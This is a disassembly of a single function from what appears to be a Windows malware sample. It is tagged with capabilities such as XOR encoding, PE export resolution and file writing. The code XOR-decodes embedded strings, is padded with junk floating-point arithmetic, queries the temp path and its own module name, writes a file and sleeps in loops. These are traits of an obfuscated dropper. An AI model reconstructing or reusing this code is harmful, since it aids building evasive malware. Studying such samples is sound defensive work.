Function at 0x408f50
Capabilities:
Encode data using xor
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41ea48
mov eax, dword fs:[0]
push eax
sub esp, 0xd0
mov eax, dword [0x4260c0]
xor eax, esp
mov dword [esp + 0xc8], eax
push ebx
push esi
push edi
mov eax, dword [0x4260c0]
xor eax, esp
push eax
lea eax, [esp + 0xe0]
mov dword fs:[0], eax
fldz
xor eax, eax
mov word [esp + 0x14], ax
fst qword [esp + 0x64]
fldz
mov dword [esp + 0x24], eax
mov dword [esp + 0x30], eax
xor ecx, ecx
mov word [esp + 0x2c], cx
mov dword [esp + 0x54], eax
fstp dword [esp + 0x58]
mov dword [esp + 0x34], eax
xor edx, edx
fstp qword [esp + 0x5c]
mov word [esp + 0x3c], dx
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x90], 0xf
mov dword [esp + 0x8c], eax
mov byte [esp + 0x7c], al
push 0x118
mov dword [esp + 0xec], eax
call fcn.0040b819
push eax
mov dword [esp + 0x60], eax
call fcn.00403920
inc dword [0x42365c]
mov eax, dword [esp + 0x3c]
mov ecx, dword [0x42365c]
mov esi, dword [esp + 0x50]
lea edx, [ecx + eax + 0x145b8fcd]
add esp, 8
mov dword [esp + 0x34], edx
xor ebx, ebx
inc dword [esp + 0x24]
fld qword [0x4238a8]
fadd qword [0x41f350]
fstp qword [0x4238a8]
fld qword [0x4238a8]
mov eax, dword [esp + 0x24]
mov cx, word [0x4235e0]
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
movsx edx, cx
mov dword [esp + 0x1c], edx
faddp st(1)
fild dword [esp + 0x1c]
fmulp st(1)
call fcn.0040b610
mov word [0x4235e0], ax
push ebx
call fcn.0040b53a
fld dword [0x425998]
fld qword [0x424b30]
mov ecx, eax
fsub qword [0x41f8a8]
add esp, 4
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x70], edx
fcompp
fnstsw ax
fld qword [0x424b30]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [0x424b30]
test ah, 1
jne 0x4090bd
fld qword [0x423958]
fsub qword [0x41f8a0]
fstp qword [0x423958]
cmp edx, esi
jg 0x4090cf
jl 0x4090c9
cmp ecx, dword [esp + 0x44]
jae 0x4090cf
mov dword [esp + 0x44], ebx
xor esi, esi
mov eax, ecx
sub eax, dword [esp + 0x44]
mov edi, edx
sbb edi, esi
mov dword [esp + 0x20], edi
js 0x409e9d
jg 0x4090f0
cmp eax, 0x708
jbe 0x409e9d
mov eax, ecx
shr eax, 9
mov dword [esp + 0x40], eax
add eax, 0x55
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x54]
mov dword [esp + 0x28], eax
fild dword [esp + 0x28]
mov dword [esp + 0x44], ecx
mov dword [esp + 0x48], edx
mov dword [esp + 0x1c], ebx
fsub qword [0x424aa0]
call fcn.0040b610
mov dword [esp + 0x54], eax
fadd qword [0x424aa0]
xor ecx, ecx
push 0x408
fstp qword [0x424aa0]
mov dword [esp + 0x2c], ebx
fldz
mov word [esp + 0x18], cx
fstp dword [esp + 0x2c]
call fcn.0040b819
push 0x408
mov edi, eax
push 0x425ad8
push edi
mov dword [esp + 0x5c], edi
call fcn.0040b8f0
mov eax, dword [0x4278c4]
sub eax, 0x423004
lea esi, [edi + 0x408]
add esp, 0x10
add eax, 0x425ad8
mov ecx, edi
cmp edi, esi
je 0x40918c
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
inc eax
cmp ecx, esi
jne 0x409182
fldz
xor eax, eax
mov dword [esp + 0x28], ebx
mov word [esp + 0x14], ax
fstp dword [esp + 0x28]
push 0xd
call fcn.0040b819
mov ecx, dword [0x4235a0]
mov esi, eax
mov dword [esi], ecx
mov edx, dword [0x4235a4]
mov dword [esi + 4], edx
mov eax, dword [0x4235a8]
mov dword [esi + 8], eax
mov cl, byte [0x4235ac]
mov byte [esi + 0xc], cl
mov eax, dword [0x4278c4]
sub eax, 0x423004
lea edx, [esi + 0xd]
add esp, 4
add eax, 0x4235a0
mov dword [esp + 0x50], esi
mov ecx, esi
cmp esi, edx
je 0x4091f3
mov bl, byte [eax]
xor byte [ecx], bl
inc ecx
inc eax
cmp ecx, edx
jne 0x4091e7
xor ebx, ebx
fldz
xor edx, edx
mov dword [esp + 0x28], ebx
mov word [esp + 0x14], dx
fstp dword [esp + 0x28]
push 0xaf1
call fcn.0040b819
push 0xaf1
mov ebx, eax
push 0x4239b0
push ebx
mov dword [esp + 0x38], ebx
call fcn.0040b8f0
mov eax, dword [0x4278c4]
sub eax, 0x423004
lea edx, [ebx + 0xaf1]
add esp, 0x10
add eax, 0x4239b0
mov ecx, ebx
cmp ebx, edx
je 0x40924c
mov bl, byte [eax]
xor byte [ecx], bl
inc ecx
inc eax
cmp ecx, edx
jne 0x409242
fldz
xor eax, eax
mov dword [esp + 0x38], 0
mov word [esp + 0x14], ax
fstp dword [esp + 0x38]
push 0x31e
call fcn.0040b819
push 0x31e
mov ebx, eax
push 0x423238
push ebx
mov dword [esp + 0x48], ebx
call fcn.0040b8f0
mov eax, dword [0x4278c4]
sub eax, 0x423004
lea edx, [ebx + 0x31e]
add esp, 0x10
add eax, 0x423238
mov ecx, ebx
cmp ebx, edx
je 0x4092b0
nop
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
lea edx, [ebx + 0x31e]
inc eax
cmp ecx, edx
jne 0x4092a0
mov ax, word [0x4249e4]
mov edx, dword [0x425964]
movsx ecx, ax
mov eax, 0xf8f3500b
sub eax, ecx
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x14], edx
add ecx, eax
fild dword [esp + 0x14]
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fld qword [esp + 0x5c]
fsubp st(2)
fld qword [0x425970]
fsubp st(2)
fcompp
fnstsw ax
fld qword [esp + 0x5c]
fadd qword [0x41f350]
fstp qword [esp + 0x5c]
test ah, 5
jp 0x40930b
fld qword [0x41f898]
fstp qword [esp + 0x64]
mov edx, dword [esp + 0x18]
cmp dword [esp + 0x40], edx
je 0x409902
lea esp, [esp]
fld dword [0x423614]
fsubr qword [0x41f890]
call fcn.0040b610
mov dword [esp + 0x30], eax
mov eax, dword [0x4278c0]
push 0
push eax
call fcn.00402620
add esp, 8
test eax, eax
jne 0x40936e
movzx ecx, word [esp + 0x2c]
mov edx, dword [0x4278c8]
imul ecx, ecx, 0xf9cf1921
mov eax, dword [0x427404]
push edx
push eax
mov word [esp + 0x34], cx
call fcn.004010c0
add esp, 8
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x28]
push ecx
push edx
push eax
lea ecx, [esp + 0xa0]
push ecx
call fcn.00403780
fldz
mov edx, dword [0x42397c]
mov eax, dword [0x423138]
imul edx, eax
mov dword [0x423138], edx
dec dword [0x42397c]
xor ecx, ecx
mov dword [esp + 0x24], 0
mov word [esp + 0x24], cx
push 0x8b
fstp dword [esp + 0x28]
call fcn.0040b819
push 0x8b
mov ebx, eax
push 0x425f48
push ebx
call fcn.0040b8f0
mov eax, dword [0x4278c4]
sub eax, 0x423004
lea edi, [ebx + 0x8b]
add esp, 0x20
add eax, 0x425f48
mov esi, ebx
cmp ebx, edi
je 0x4093fd
mov dl, byte [eax]
xor byte [esi], dl
inc esi
inc eax
cmp esi, edi
jne 0x4093f3
fld dword [0x424a18]
mov eax, dword [esp + 0x24]
mov cx, word [esp + 0x3c]
fsub qword [0x41f888]
mov dword [esp + 0x24], eax
fild dword [esp + 0x24]
movsx edx, cx
mov dword [esp + 0x24], edx
fild dword [esp + 0x24]
faddp st(2)
fsubrp st(1)
call fcn.0040b610
mov dword [esp + 0x24], eax
inc dword [esp + 0x3c]
fld dword [0x424a18]
fsub qword [0x41f350]
mov eax, dword [esp + 0x50]
mov esi, eax
fstp dword [0x424a18]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409450
mov edi, ebx
sub eax, esi
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x409460
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x2710
mov ecx, eax
push 0
and ecx, 3
lea eax, [esp + 0x80]
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa0]
push ebx
push ecx
call fcn.004083d0
push 0x8b
fldz
push 0
mov dword [esp + 0x30], 0
fstp dword [esp + 0x30]
push ebx
call fcn.0040b750
push ebx
call fcn.0040b6bb
mov dx, word [0x4244e8]
fld dword [esp + 0x38]
mov ecx, dword [0x425950]
movsx eax, dx
sub eax, ecx
add eax, 0x45f7d427
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0xa0]
add esp, 0x24
cmp dword [esp + 0x90], 0x10
fisub dword [esp + 0x14]
fstp dword [esp + 0x14]
jae 0x4094f3
lea eax, [esp + 0x7c]
mov edx, dword [esp + 0x8c]
push edx
push eax
mov eax, dword [esp + 0x54]
push eax
call fcn.00408020
mov cx, word [0x42391c]
mov edx, dword [esp + 0x30]
movsx ecx, cx
add edx, ecx
add esp, 0xc
cmp eax, 9
mov word [0x42391c], dx
jl 0x4098ca
mov ecx, dword [esp + 0x7c]
mov edi, 0x10
cmp dword [esp + 0x90], edi
jae 0x40953f
lea ecx, [esp + 0x7c]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x70]
jg 0x409588
jl 0x409551
cmp edx, dword [esp + 0x6c]
jae 0x409588
mov eax, dword [0x425718]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fadd qword [0x4256f8]
inc dword [0x425718]
fcomp qword [0x41f880]
fnstsw ax
test ah, 0x41
jp 0x4098ca
add dword [esp + 0x34], 0x92753ba1
jmp 0x4098ca
lea esi, [eax - 1]
cmp esi, dword [esp + 0x8c]
jbe 0x409599
call fcn.0040c1b2
mov eax, dword [esp + 0x7c]
cmp dword [esp + 0x90], edi
jae 0x4095aa
lea eax, [esp + 0x7c]
mov byte [eax + esi], 0
mov esi, dword [esp + 0x90]
mov ebx, dword [esp + 0x7c]
mov eax, ebx
cmp esi, edi
jae 0x4095c3
lea eax, [esp + 0x7c]
lea ecx, [esp + 0x94]
add eax, 8
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4095f0
test dl, dl
je 0x4095ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4095f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4095d0
xor eax, eax
jmp 0x4095f5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4098ca
cmp esi, edi
jb 0x4096d1
mov edi, ebx
test ebx, ebx
je 0x409632
mov eax, ebx
cmp esi, 0x10
jae 0x409616
lea eax, [esp + 0x7c]
cmp eax, edi
ja 0x409632
mov eax, ebx
cmp esi, 0x10
jae 0x409625
lea eax, [esp + 0x7c]
mov ecx, dword [esp + 0x8c]
add eax, ecx
cmp edi, eax
jbe 0x40963e
call fcn.0040c1b2
mov ecx, dword [esp + 0x8c]
lea esi, [esp + 0x78]
mov ebx, edi
mov edx, dword [esp + 0x90]
mov eax, dword [esp + 0x7c]
cmp edx, 0x10
jae 0x409658
lea eax, [esp + 0x7c]
lea edi, [eax + ecx]
test edi, edi
je 0x409683
mov eax, dword [esp + 0x7c]
cmp edx, 0x10
jae 0x40966c
lea eax, [esp + 0x7c]
cmp eax, edi
ja 0x409683
mov eax, dword [esp + 0x7c]
cmp edx, 0x10
jae 0x40967d
lea eax, [esp + 0x7c]
add eax, ecx
cmp edi, eax
jbe 0x409688
call fcn.0040c1b2
cmp esi, 0xfffffffc
je 0x40969e
test esi, esi
je 0x409699
lea ecx, [esp + 0x78]
cmp esi, ecx
je 0x40969e
call fcn.0040c1b2
cmp ebx, edi
je 0x409725
fld dword [0x423594]
fsub qword [0x41f878]
fstp dword [0x423594]
cmp esi, 0xfffffffc
je 0x4096eb
test esi, esi
jne 0x4096c6
call fcn.0040c1b2
cmp dword [esi + 0x18], 0x10
jb 0x4096da
mov eax, dword [esi + 4]
jmp 0x4096dd
lea edi, [esp + 0x7c]
jmp 0x40960b
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x4096eb
call fcn.0040c1b2
mov byte [ebx], 0
cmp esi, 0xfffffffc
je 0x409718
test esi, esi
jne 0x4096fc
call fcn.0040c1b2
cmp dword [esi + 0x18], 0x10
jb 0x409707
mov eax, dword [esi + 4]
jmp 0x40970a
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x409718
call fcn.0040c1b2
mov ecx, dword [esp + 0x8c]
inc ebx
jmp 0x409644
fldz
xor ebx, ebx
xor edx, edx
mov dword [esp + 0x14], ebx
mov word [esp + 0x14], dx
fstp dword [esp + 0x14]
push 0x7e
call fcn.0040b819
push 0x7e
mov esi, eax
push 0x425f48
push esi
call fcn.0040b8f0
mov eax, dword [0x4278c4]
sub eax, 0x423004
lea edi, [esi + 0x7e]
add esp, 0x10
add eax, 0x425f48
mov ecx, esi
cmp esi, edi
je 0x40977a
lea esp, [esp]
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
inc eax
cmp ecx, edi
jne 0x409770
push ebx
push ebx
lea eax, [esp + 0x80]
push eax
lea ecx, [esp + 0xa0]
push esi
push ecx
call fcn.004083d0
fldz
push 0x7e
push ebx
mov dword [esp + 0x30], ebx
fstp dword [esp + 0x30]
push esi
call fcn.0040b750
push esi
call fcn.0040b6bb
movzx edx, word [0x4244e8]
fld dword [esp + 0x38]
mov ecx, dword [0x425950]
movsx eax, dx
sub eax, ecx
add eax, 0x45f7d427
mov dword [esp + 0x38], eax
push 0xc
fisub dword [esp + 0x3c]
fstp dword [esp + 0x3c]
movzx edx, word [0x42576c]
mov ecx, dword [esp + 0x58]
movsx eax, dx
sub eax, ecx
add eax, 0x7fe1b287
mov dword [esp + 0x3c], eax
xor edx, edx
fild dword [esp + 0x3c]
fadd qword [esp + 0x84]
fstp qword [esp + 0x84]
dec dword [esp + 0x58]
fldz
mov dword [esp + 0x3c], ebx
mov word [esp + 0x3c], dx
fstp dword [esp + 0x3c]
call fcn.0040b819
mov esi, eax
mov eax, dword [0x4235e8]
mov dword [esi], eax
mov ecx, dword [0x4235ec]
mov dword [esi + 4], ecx
mov edx, dword [0x4235f0]
mov dword [esi + 8], edx
mov eax, dword [0x4278c4]
sub eax, 0x423004
lea edi, [esi + 0xc]
add esp, 0x28
add eax, 0x4235e8
mov ecx, esi
cmp esi, edi
je 0x40985a
nop
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
inc eax
cmp ecx, edi
jne 0x409850
mov eax, esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409860
sub eax, edx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x84]
call fcn.004047d0
fldz
mov edi, eax
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esp + 0x14], ebx
fstp dword [esp + 0x14]
push esi
mov dword [esi + 8], eax
call fcn.0040b6bb
mov ax, word [0x4244e8]
fld dword [esp + 0x18]
mov ecx, dword [0x425950]
mov edx, dword [esp + 0x90]
cwde
sub eax, ecx
add eax, 0x45f7d427
mov dword [esp + 0x18], eax
add edx, 0xfffffff5
add esp, 4
fisub dword [esp + 0x14]
fstp dword [esp + 0x14]
cmp edi, edx
je 0x4098df
mov eax, dword [esp + 0x40]
inc eax
mov dword [esp + 0x40], eax
cmp eax, dword [esp + 0x18]
jne 0x409320
jmp 0x4098f6
push 0xb
push edi
lea ecx, [esp + 0x80]
call fcn.00405ad0
mov dword [esp + 0x1c], 1
mov edi, dword [esp + 0x4c]
mov esi, dword [esp + 0x50]
mov ebx, dword [esp + 0x38]
fldz
push 0x408
push 0
mov dword [esp + 0x20], 0
fstp dword [esp + 0x20]
push edi
call fcn.0040b750
push edi
call fcn.0040b6bb
mov ax, word [0x4244e8]
fld dword [esp + 0x28]
mov ecx, dword [0x425950]
cwde
sub eax, ecx
add eax, 0x45f7d427
mov dword [esp + 0x28], eax
xor eax, eax
mov dword [esi], eax
fisub dword [esp + 0x28]
mov dword [esi + 4], eax
xor edi, edi
mov dword [esi + 8], eax
push esi
mov byte [esi + 0xc], al
fstp dword [esp + 0x2c]
mov dword [esp + 0x2c], edi
fldz
fstp dword [esp + 0x2c]
call fcn.0040b6bb
movzx edx, word [0x4244e8]
fld dword [esp + 0x2c]
mov ecx, dword [0x425950]
movsx eax, dx
sub eax, ecx
add eax, 0x45f7d427
mov dword [esp + 0x2c], eax
push 0x31e
push edi
fisub dword [esp + 0x34]
push ebx
fstp dword [esp + 0x38]
mov dword [esp + 0x38], edi
fldz
fstp dword [esp + 0x38]
call fcn.0040b750
push ebx
call fcn.0040b6bb
movzx edx, word [0x4244e8]
fld dword [esp + 0x3c]
mov ecx, dword [0x425950]
movsx eax, dx
mov esi, dword [esp + 0x4c]
sub eax, ecx
add eax, 0x45f7d427
mov dword [esp + 0x3c], eax
push 0xaf1
push edi
fisub dword [esp + 0x44]
push esi
fstp dword [esp + 0x48]
movzx edx, word [0x425958]
mov ecx, dword [0x4231d4]
fldz
movsx eax, dx
sub eax, ecx
add eax, 0x43927faa
mov word [0x425958], ax
mov dword [esp + 0x48], edi
fstp dword [esp + 0x48]
call fcn.0040b750
push esi
call fcn.0040b6bb
movzx edx, word [0x4244e8]
fld dword [esp + 0x4c]
mov ecx, dword [0x425950]
movsx eax, dx
sub eax, ecx
add eax, 0x45f7d427
mov dword [esp + 0x5c], eax
fisub dword [esp + 0x5c]
fstp dword [esp + 0x4c]
add dword [esp + 0x64], 0x76c2fb2d
push 0x40
lea edx, [esp + 0xcc]
push edi
push edx
call fcn.0040b750
add esp, 0x40
cmp dword [esp + 0x1c], edi
je 0x409e7d
mov eax, dword [esp + 0x58]
push 0x708
push eax
call fcn.00402840
add esp, 8
cmp dword [esp + 0x8c], 0x200
jbe 0x409e7d
push 0x370
call fcn.0040b819
add esp, 4
mov ebx, eax
push ebx
push 0xeb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.00403270
mov ecx, dword [esp + 0x3c]
mov edx, 0x21510f48
sub edx, ecx
mov dword [esp + 0x24], edx
fild dword [esp + 0x24]
xor eax, eax
push 3
fmul qword [esp + 0x70]
fstp qword [esp + 0x70]
mov dword [esp + 0x28], edi
fldz
mov word [esp + 0x20], ax
fstp dword [esp + 0x28]
call fcn.0040b819
mov cx, word [0x425ee8]
mov esi, eax
mov word [esi], cx
mov dl, byte [0x425eea]
mov byte [esi + 2], dl
mov eax, dword [0x4278c4]
sub eax, 0x423004
lea ecx, [esi + 3]
add esp, 0xc
add eax, 0x425ee8
mov edi, esi
cmp esi, ecx
je 0x409b11
mov dl, byte [eax]
xor byte [edi], dl
inc edi
inc eax
cmp edi, ecx
jne 0x409b07
push esi
push ebx
call fcn.0040c03e
fldz
mov edi, eax
xor eax, eax
mov dword [esp + 0x24], eax
fstp dword [esp + 0x24]
mov word [esi], ax
push esi
mov byte [esi + 2], al
call fcn.0040b6bb
mov ax, word [0x4244e8]
fld dword [esp + 0x28]
mov ecx, dword [0x425950]
cwde
sub eax, ecx
add eax, 0x45f7d427
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x88]
add esp, 0xc
cmp dword [esp + 0x90], 0x10
fisub dword [esp + 0x1c]
fstp dword [esp + 0x1c]
jae 0x409b6e
lea eax, [esp + 0x7c]
mov edx, dword [esp + 0x8c]
push edi
push 1
push edx
push eax
call fcn.0040bef8
or esi, 0xffffffff
add dword [esp + 0x3c], esi
movzx eax, word [esp + 0x3c]
movzx ecx, word [esp + 0x3c]
sub eax, ecx
sub eax, 0x74991d8a
mov word [esp + 0x3c], ax
push edi
call fcn.0040bd1a
add esp, 0x14
push 0x104
lea eax, [ebx + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
fld dword [0x423610]
mov edx, dword [0x423138]
mov dword [esp + 0x1c], edx
fisub dword [esp + 0x1c]
xor eax, eax
push 0x15
fstp dword [0x423610]
add dword [0x423138], esi
fldz
mov dword [esp + 0x20], 0
mov word [esp + 0x18], ax
fstp dword [esp + 0x20]
call fcn.0040b819
mov ecx, dword [0x424acc]
mov esi, eax
mov dword [esi], ecx
mov edx, dword [0x424ad0]
mov dword [esi + 4], edx
mov eax, dword [0x424ad4]
mov dword [esi + 8], eax
mov ecx, dword [0x424ad8]
mov dword [esi + 0xc], ecx
mov edx, dword [0x424adc]
mov dword [esi + 0x10], edx
mov al, byte [0x424ae0]
mov byte [esi + 0x14], al
mov eax, dword [0x4278c4]
sub eax, 0x423004
lea ecx, [esi + 0x15]
add esp, 4
add eax, 0x424acc
mov edi, esi
cmp esi, ecx
je 0x409c4f
mov dl, byte [eax]
xor byte [edi], dl
inc edi
inc eax
cmp edi, ecx
jne 0x409c45
fldz
mov eax, 0x1e72
mov word [0x42313c], ax
xor ecx, ecx
mov dword [esp + 0x1c], 0
mov word [esp + 0x14], cx
fstp dword [esp + 0x1c]
push 0x20
call fcn.0040b819
push 0x20
mov edi, eax
push 0x425a60
push edi
call fcn.0040b8f0
mov eax, dword [0x4278c4]
sub eax, 0x423004
lea edx, [edi + 0x20]
add esp, 0x10
add eax, 0x425a60
mov ecx, edi
cmp edi, edx
je 0x409cad
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
lea edx, [edi + 0x20]
inc eax
cmp ecx, edx
jne 0x409ca0
mov eax, dword [0x4278c0]
push eax
push edi
lea eax, [ebx + 0x104]
push eax
push esi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040c5a8
fld dword [0x425984]
mov ecx, dword [esp + 0x3c]
fsub qword [0x41f870]
mov dword [esp + 0x34], ecx
xor eax, eax
fisub dword [esp + 0x34]
push edi
fstp qword [esp + 0x80]
inc dword [esp + 0x40]
fld dword [0x425984]
fadd qword [0x41f350]
fstp dword [0x425984]
mov dword [edi], eax
fldz
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
mov dword [esp + 0x38], eax
fstp dword [esp + 0x38]
mov dword [edi + 0x18], eax
mov dword [edi + 0x1c], eax
call fcn.0040b6bb
movzx edx, word [0x4244e8]
fld dword [esp + 0x38]
mov ecx, dword [0x425950]
movsx eax, dx
sub eax, ecx
add eax, 0x45f7d427
mov dword [esp + 0x38], eax
xor eax, eax
mov dword [esi], eax
fisub dword [esp + 0x38]
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
push esi
mov byte [esi + 0x14], al
fstp dword [esp + 0x3c]
mov dword [esp + 0x3c], eax
fldz
fstp dword [esp + 0x3c]
call fcn.0040b6bb
movzx edx, word [0x4244e8]
fld dword [esp + 0x3c]
mov ecx, dword [0x425950]
movsx eax, dx
sub eax, ecx
add eax, 0x45f7d427
mov dword [esp + 0x3c], eax
add esp, 0x20
fisub dword [esp + 0x1c]
fstp dword [esp + 0x1c]
fld dword [0x4238b8]
fsubr qword [0x41f868]
fcomp qword [0x41f860]
fnstsw ax
test ah, 5
jp 0x409e1d
fld dword [0x425998]
fsubr qword [0x41f858]
fcomp qword [0x41f850]
fnstsw ax
test ah, 5
jp 0x409def
movzx edx, word [esp + 0x2c]
mov eax, dword [0x425a18]
lea ecx, [edx + eax - 0x153c72a1]
mov word [esp + 0x2c], cx
dec dword [0x425a18]
jmp 0x409e1d
mov dx, word [esp + 0x3c]
movsx eax, dx
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
fld dword [0x4259dc]
fsubr qword [0x41f848]
fsub qword [0x41f840]
fsubp st(1)
call fcn.0040b610
mov word [esp + 0x3c], ax
mov ecx, dword [0x4278c0]
push 1
push ecx
call fcn.00402620
fld dword [0x424a0c]
fsub qword [0x41f838]
lea eax, [ebx + 0x208]
push eax
push ebx
fstp dword [0x423994]
fld dword [0x424a0c]
fsub qword [0x41f350]
fstp dword [0x424a0c]
call fcn.004010c0
push 0x370
push 0
push ebx
call fcn.0040b750
push ebx
call fcn.0040b6bb
add esp, 0x20
push 0x15f90
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x30]
mov eax, dword [0x423230]
mov esi, dword [esp + 0x48]
add edx, 0x6b8d5a0c
imul edx, eax
mov dword [0x423230], edx
xor ebx, ebx
jmp 0x409e9f
fstp st(0)
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x4278c0]
push ebx
push ecx
call fcn.00402620
add esp, 8
test eax, eax
jne 0x409022
fld dword [0x424a18]
fsub qword [0x41f350]
fstp dword [0x424a18]
mov edx, dword [0x425980]
mov dword [esp + 0x1c], edx
fild dword [esp + 0x1c]
fstp dword [esp + 0x1c]
fld dword [0x424a18]
fadd dword [esp + 0x1c]
call fcn.0040b610
mov ecx, dword [0x427404]
mov dword [0x425980], eax
mov eax, dword [0x4278c8]
push eax
push ecx
call fcn.004010c0
add esp, 8
jmp 0x409022